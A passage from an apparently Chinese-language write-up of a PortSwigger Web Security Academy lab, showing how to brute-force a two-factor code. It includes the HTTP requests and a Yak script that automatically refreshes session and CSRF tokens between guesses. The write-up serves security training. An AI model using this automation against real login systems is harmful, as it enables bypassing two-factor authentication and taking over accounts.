  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1255"
/>
</p>
<p>第四个节点：访问2FA页面</p>
<p>2FA的页面是login2，提交验证码页面有个新csrf需要获取一下</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">GET</span> <span class="nn">/login2</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session2)}}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1257"
/>
</p>
<p>第五个节点：爆破验证码</p>
<p>把新的session和csrf填进去，爆破一个验证码。由于第一个启动器会不断从字典中取值发包，所以这边流程走完也就能慢慢爆破完验证码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/login2</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session2)}}</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line hl"><span class="ln">5</span><span class="cl"><span class="g">csrf={{p(csrf2)}}&amp;mfa-code={{p(pass)}}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1251"
/>
</p>
<p>遇到302就是正确验证码，然后用session登录</p>
<p>流程清晰了，那么脚本就好写了：</p>
<p>热加载：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">beforeRequest = func(req) { 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    // 访问登录页
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    url=&#34;https://0a9e001f037bdb47823915920053009e.web-security-academy.net&#34;
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    rsp, _ = poc.Get(url+&#34;/login&#34;,poc.retryTimes(10))~
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    csrf1=re.FindSubmatch(rsp.RawPacket, `value=&#34;([^&#34;]*)&#34;`)[1]
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    session1=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    // 登录账号
</span></span><span class="line"><span class="ln">10</span><span class="cl">    rsp, _ = poc.Post(url+&#34;/login&#34;, poc.appendCookie(&#34;session&#34;,session1),poc.replaceBody(f&#34;csrf=${csrf1}&amp;username=carlos&amp;password=montoya&#34;, false),poc.retryTimes(10),poc.noRedirect(true))~ 
</span></span><span class="line"><span class="ln">11</span><span class="cl">    session2=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">    // 访问2FA
</span></span><span class="line"><span class="ln">14</span><span class="cl">    rsp, _ = poc.Get(url+&#34;/login2&#34;,poc.appendCookie(&#34;session&#34;,session2),poc.retryTimes(10))~
</span></span><span class="line"><span class="ln">15</span><span class="cl">    csrf2=re.FindSubmatch(rsp.RawPacket, `value=&#34;([^&#34;]*)&#34;`)[1]
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">    // 替换参数
</span></span><span class="line"><span class="ln">18</span><span class="cl">    req = str.ReplaceAll(req, &#34;__session__&#34;, session2)
</span></span><span class="line"><span class="ln">19</span><span class="cl">    req = str.ReplaceAll(req, &#34;__csrf__&#34;, csrf2)
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">    return []byte(req)
</span></span><span class="line"><span class="ln">22</span><span class="cl">}</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">yak</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><h:img src="https://h4cker.zip/034022/Authentication_cover.webp"/><enclosure url="https://h4cker.zip/034022/Authentication_cover.webp"/><category>身份验证</category><category>未授权</category><category>暴力破解</category><category>CSRF</category><category>2FA</category></item></channel></rss>